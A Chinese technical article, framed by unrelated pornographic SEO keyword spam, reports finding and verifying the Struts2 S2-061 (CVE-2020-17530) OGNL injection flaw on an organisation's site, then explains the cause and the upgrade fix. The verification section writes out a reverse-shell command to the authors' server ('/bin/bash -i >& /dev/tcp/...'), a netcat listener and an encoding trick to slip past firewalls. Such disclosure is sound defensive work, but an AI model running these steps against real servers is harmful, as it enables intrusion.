亚洲免费av电影一区二区三区,日韩爱爱视频,51精品视频一区二区三区,91视频爱爱,日韩欧美在线播放视频,中文字幕少妇AV,亚洲电影中文字幕,久久久久亚洲av成人网址,久久综合视频网站,国产在线不卡免费播放

        ?

        基于“Struts2-061”漏洞談網(wǎng)絡(luò)安全問題防范

        2021-08-04 21:47:57孫海波王剛
        中國新通信 2021年8期

        孫海波 王剛

        【摘要】? ? 本文就一起“Struts2-061”網(wǎng)絡(luò)安全漏洞事件,詳細(xì)介紹了該漏洞的驗(yàn)證步驟、原理、修復(fù)方法,如何做好網(wǎng)站的安全漏洞防范,防止黑客利用此漏洞對目標(biāo)服務(wù)器進(jìn)行數(shù)據(jù)竊取、篡改、破壞,或植入后門、掛馬等惡意操作。

        【關(guān)鍵詞】? ? 網(wǎng)絡(luò)安全漏洞? ? 遠(yuǎn)程代碼執(zhí)行? ? OGNL表達(dá)式

        網(wǎng)站的作用越來越大,無論企業(yè)還是個(gè)人都離不開網(wǎng)站。網(wǎng)站是由各類網(wǎng)頁集合而成的,而網(wǎng)頁的實(shí)質(zhì)就是一個(gè)html文件,因而網(wǎng)站是由許多的html文件構(gòu)成的。網(wǎng)站在搭建過程中,需要使用各種各樣的框架,比如Struts、Spring、Hibernate等。不同的應(yīng)用程序框架具有不同的特點(diǎn),在使用過程中,可能存在不同的安全隱患。

        Struts2是一個(gè)基于MVC(Model View Controller,模型視圖控制器)設(shè)計(jì)模式的Web應(yīng)用程序框架,它既是Struts1的升級(jí)版本,更是一個(gè)全新的Struts架構(gòu)。因?yàn)镾truts2使用MVC設(shè)計(jì)模式,該模式中的模型、視圖、控制器三個(gè)層次各司其職,所以Struts2框架也面臨一個(gè)問題,即用戶數(shù)據(jù)在不同層次流轉(zhuǎn)的問題。為了解決這一問題,提高訪問速度,Struts2框架采用OGNL(Object-Graph Navigation Language,對象圖導(dǎo)航語言)來操作,即Struts 2默認(rèn)的表達(dá)式語言是OGNL,OGNL可以協(xié)助框架用非常簡單的表達(dá)式訪問不同的對象層。

        本文就從筆者實(shí)際工作中遇到的一起Struts2-061漏洞事件談起,從該漏洞的驗(yàn)證方法、產(chǎn)生原理、漏洞危害、修復(fù)手段幾個(gè)方面出發(fā),全面地介紹Struts2-061漏洞的相關(guān)內(nèi)容,希望能對廣大讀者有所幫助。

        一、事件經(jīng)過

        筆者于2021年1月8日發(fā)現(xiàn)某單位門戶網(wǎng)站存在網(wǎng)絡(luò)安全漏洞,并向該單位進(jìn)行了通報(bào),漏洞詳細(xì)情況如下:漏洞名稱為Struts2-061漏洞;漏洞數(shù)量1個(gè);漏洞等級(jí)為高危;漏洞地址為http://192.---.---.133/index.action(“---”代表網(wǎng)站部分URL地址);漏洞描述為,Apache Structs2在使用某些標(biāo)簽屬性時(shí),可能存在OGNL表達(dá)式注入漏洞,從而造成遠(yuǎn)程代碼執(zhí)行,目標(biāo)服務(wù)器被提權(quán),風(fēng)險(xiǎn)極大。

        漏洞驗(yàn)證前,我們看到該網(wǎng)址后綴為“.action”,則可判斷該網(wǎng)站使用框架為Apache Struts2。Action對象是Struts2框架的核心,每個(gè)URL地址都映射到特定的Action對象中,Action對象對來自用戶的請求提供處理邏輯,它有兩個(gè)重要功能:一是將用戶請求數(shù)據(jù)傳遞到框架視圖中,二是協(xié)助框架確定響應(yīng)結(jié)果對應(yīng)視圖中的用戶請求。驗(yàn)證詳細(xì)步驟如下。

        1.1對目標(biāo)網(wǎng)站進(jìn)行數(shù)據(jù)包抓取

        通過使用burpsuite工具對該網(wǎng)站進(jìn)行數(shù)據(jù)包抓取,burpsuite工具是用于攻擊、測試web應(yīng)用程序的集成平臺(tái),包含了許多工具,并為這些工具設(shè)計(jì)了許多接口,以加快攻擊、測試應(yīng)用程序的過程,能快速處理網(wǎng)站對應(yīng)的HTTP 消息、認(rèn)證、代理、日志、警報(bào)等。抓包結(jié)果如圖1所示。

        1.2修改發(fā)送請求

        我們將響應(yīng)結(jié)果發(fā)送到burpsuite工具的repeater里,并對發(fā)送的數(shù)據(jù)包進(jìn)行修改。因?yàn)槲覀冃枰匦掳l(fā)送請求數(shù)據(jù),所以將請求方式由GET改為POST。數(shù)據(jù)包主要修改兩個(gè)內(nèi)容,一是修改Content-Type為常見的POST數(shù)據(jù)內(nèi)容提交類型multipart/form-data,二是修改payload。另外,我們可以看到生成了一條記錄boundary分割線符,其值為----WebKitFormBoundaryl7d1B1aGsV2wcZwF,也就是說我們只要輸入這一值就相當(dāng)于輸入了一條分割線。具體修改內(nèi)容為:

        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

        空一行

        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF

        Content-Disposition: form-data; name=”id”

        空一行

        (payload)

        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

        具體payload為:

        1.3用Dnslog.cn網(wǎng)站進(jìn)行數(shù)據(jù)監(jiān)測

        修改payload中的arglist.add參數(shù)并執(zhí)行,我們使用Dnslog.cn網(wǎng)站進(jìn)行數(shù)據(jù)監(jiān)測,首先開啟Dnslog,其中4puott.dnslog.cn為Dnslog.cn網(wǎng)站的臨時(shí)域名,如圖2所示。

        1.4執(zhí)行修改后的請求數(shù)據(jù)包

        在burpsuite的repeater工具中將arglist.add參數(shù)值改為“ping 4puott.dnslog.cn”,意思表示我們通過目標(biāo)主機(jī)來ping網(wǎng)址4puott.dnslog.cn(Dnslog.cn網(wǎng)站的臨時(shí)域名),發(fā)送數(shù)據(jù)包如圖3所示。

        發(fā)送數(shù)據(jù)請求后,我們可以在Dnslog.cn網(wǎng)站上看到有數(shù)據(jù)記錄,證明目標(biāo)網(wǎng)站執(zhí)行了我們修改的ping 4puott.dnslog.cn命令,也就是實(shí)現(xiàn)了遠(yuǎn)程代碼執(zhí)行,因而可以證明該網(wǎng)站存在Struts2-061漏洞,如圖4所示。

        1.5對目標(biāo)服務(wù)器進(jìn)行端口反彈

        在上一步中已實(shí)現(xiàn)了遠(yuǎn)程代碼執(zhí)行,那我們就嘗試用nc工具(NetCat,一款網(wǎng)絡(luò)工具,可通過TCP或UDP協(xié)議傳輸讀寫數(shù)據(jù),對服務(wù)器端口進(jìn)行掃描、監(jiān)聽)進(jìn)行端口反彈,對目標(biāo)服務(wù)器進(jìn)行提權(quán)。保險(xiǎn)起見,在執(zhí)行端口反彈命令前,我們先將反彈命令進(jìn)行編碼加密,這樣可以在一定程度上防止被WAF、防火墻等設(shè)備攔截,編碼網(wǎng)站:http://www.jackson-t.ca/runtime-exec-payloads.html,如圖5所示。

        反彈命令為“/bin/bash -i >& /dev/tcp/175.---.---.240/7777 0>&1”,其中175.---.---.240為我方虛擬專用VPS服務(wù)器的IP地址,7777為監(jiān)聽的端口,編碼后的字符如圖5所示,并將編碼后的字符復(fù)制到payload中的arglist.add參數(shù)里,執(zhí)行發(fā)送數(shù)據(jù)請求,如圖6所示。

        然后在我們的VPS服務(wù)器上(root@miss-vps ~)運(yùn)行命令“nc –lvnp 7777”,即監(jiān)聽端口7777,如圖7所示。其中nc命令參數(shù)介紹如下:-l指使用監(jiān)聽模式,管控傳入的資料;-v指顯示指令執(zhí)行過程;-n指直接使用IP地址,而不通過域名服務(wù)器;-p<通信端口>指設(shè)置本地主機(jī)使用的通信端口。

        1.6端口反彈成功

        在burpsuite工具上執(zhí)行shell命令,并將數(shù)據(jù)反彈至我方VPS服務(wù)器7777端口,我們已成功登陸目標(biāo)服務(wù)器(root@0a0b2bd89d8f),如圖8所示。至此漏洞驗(yàn)證結(jié)束,我們未進(jìn)行深層次操作,可判斷該網(wǎng)站存在遠(yuǎn)程代碼執(zhí)行漏洞、存在Struts2-061漏洞。

        二、漏洞原理

        2020年12月,Apache Struts官方披露了編號(hào)為S2-061的遠(yuǎn)程代碼執(zhí)行漏洞,CVE編號(hào)為CVE-2020-17530。Apache Struts2框架是一個(gè)用于開發(fā)Java EE網(wǎng)絡(luò)應(yīng)用程序的Web框架,在使用某些標(biāo)簽時(shí)可能存在OGNL表達(dá)式注入漏洞的情況,從而造成遠(yuǎn)程代碼執(zhí)行,風(fēng)險(xiǎn)極大。

        在Struts2標(biāo)簽屬性中強(qiáng)制使用OGNL表達(dá)式,并可被外部修改時(shí),攻擊者就可以構(gòu)造惡意的OGNL表達(dá)式觸發(fā)網(wǎng)絡(luò)安全漏洞。Struts2會(huì)對某些標(biāo)簽屬性(比如`id`,其他屬性未知) 的屬性值進(jìn)行二次表達(dá)式解析,因此當(dāng)這些標(biāo)簽屬性中使用了`%{X}`,且`X`的值可被用戶控制修改時(shí),用戶再傳入一個(gè)`%{payload}`,即可造成OGNL表達(dá)式執(zhí)行。在我們上面提到的漏洞驗(yàn)證過程中,就是對payload中arglist.add(“id”)進(jìn)行了修改,將id參數(shù)修改了兩次,一次是修改為“ping 4puott.dnslog.cn”,另一次是修改為端口反彈命令,結(jié)果這兩個(gè)修改后的payload都被成功執(zhí)行,進(jìn)而造成遠(yuǎn)程代碼執(zhí)行。

        Struts2-061漏洞正是利用了這一弱點(diǎn),可造成遠(yuǎn)程代碼執(zhí)行,進(jìn)而達(dá)到攻擊者控制目標(biāo)服務(wù)器的目的。

        三、修復(fù)方法

        對于Struts2-061漏洞,我們應(yīng)該及時(shí)升級(jí)Struts2版本。目前官方已在新版本中修復(fù)了該漏洞,升級(jí)到Struts 2.5.26及更高版本便可修復(fù)Struts2-061漏洞,下載地址:https://struts.apache.org/download.cgi。另外,在升級(jí)前應(yīng)做好數(shù)據(jù)備份工作,避免出現(xiàn)意外情況。

        四、結(jié)束語

        這次發(fā)現(xiàn)的Struts2-061漏洞,是利用了攻擊者再傳入一個(gè)`%{payload}`,即可造成OGNL表達(dá)式執(zhí)行,導(dǎo)致遠(yuǎn)程代碼執(zhí)行,目標(biāo)服務(wù)器被控制,網(wǎng)站很容易被植入后門。2020年上半年,境內(nèi)外約1.8萬個(gè)IP地址對我國境內(nèi)約3.59萬個(gè)網(wǎng)站植入后門,我國境內(nèi)被植入后門的網(wǎng)站數(shù)量較2019年上半年增長36.9%[1]。

        對網(wǎng)站的安全防護(hù)是一個(gè)長期性的工作,沒有捷徑可走。除了定期對網(wǎng)站進(jìn)行網(wǎng)絡(luò)安全漏洞掃描外,技術(shù)人員平時(shí)還要多關(guān)注網(wǎng)絡(luò)安全訊息,以避免自己網(wǎng)站存在漏洞被攻陷。這就要求我們要多了解、多學(xué)習(xí)、與時(shí)俱進(jìn),不斷提升自己的技術(shù)水平,以高度的責(zé)任心做好網(wǎng)絡(luò)安全防護(hù)工作。

        最新中文字幕人妻少妇| 精品国产午夜久久久久九九| 一区二区三区在线视频爽| 91麻豆精品国产91久久麻豆| 国产婷婷色一区二区三区在线| 国产精品视频一区二区三区四| 国产99久久久久久免费看| 日本视频中文字幕一区在线| 日本成人在线不卡一区二区三区| 情头一男一女高冷男女| 午夜性刺激免费看视频 | 少妇高潮喷水正在播放| 国产网友自拍亚洲av| av高清视频在线麻豆免费观看| 精品厕所偷拍一区二区视频| 97久久综合区小说区图片区| 69精品丰满人妻无码视频a片| 亚洲国产AⅤ精品一区二区久| 美腿丝袜在线观看视频| 亚洲av无码乱码国产精品| 亚洲第一网站免费视频| 亚洲色拍拍噜噜噜最新网站| 一区二区视频资源在线观看| 免费人成视频网站在线不卡| 亚洲精品国偷拍自产在线麻豆| 妺妺窝人体色www在线直播| 蜜桃av噜噜一区二区三区香| 午夜国产精品视频在线观看| 精品久久久久久无码人妻热| 国产精品.xx视频.xxtv| 一本无码人妻在中文字幕| 永久免费看黄在线观看| 亚洲成av人片乱码色午夜| 48沈阳熟女高潮嗷嗷叫| 亚洲中文字幕久久精品蜜桃 | 一二三四区中文字幕在线| 国产精品成人观看视频| 国产精品视频免费的| 久久精品网站免费观看| 插上翅膀插上科学的翅膀飞| 精品人妻人人做人人爽|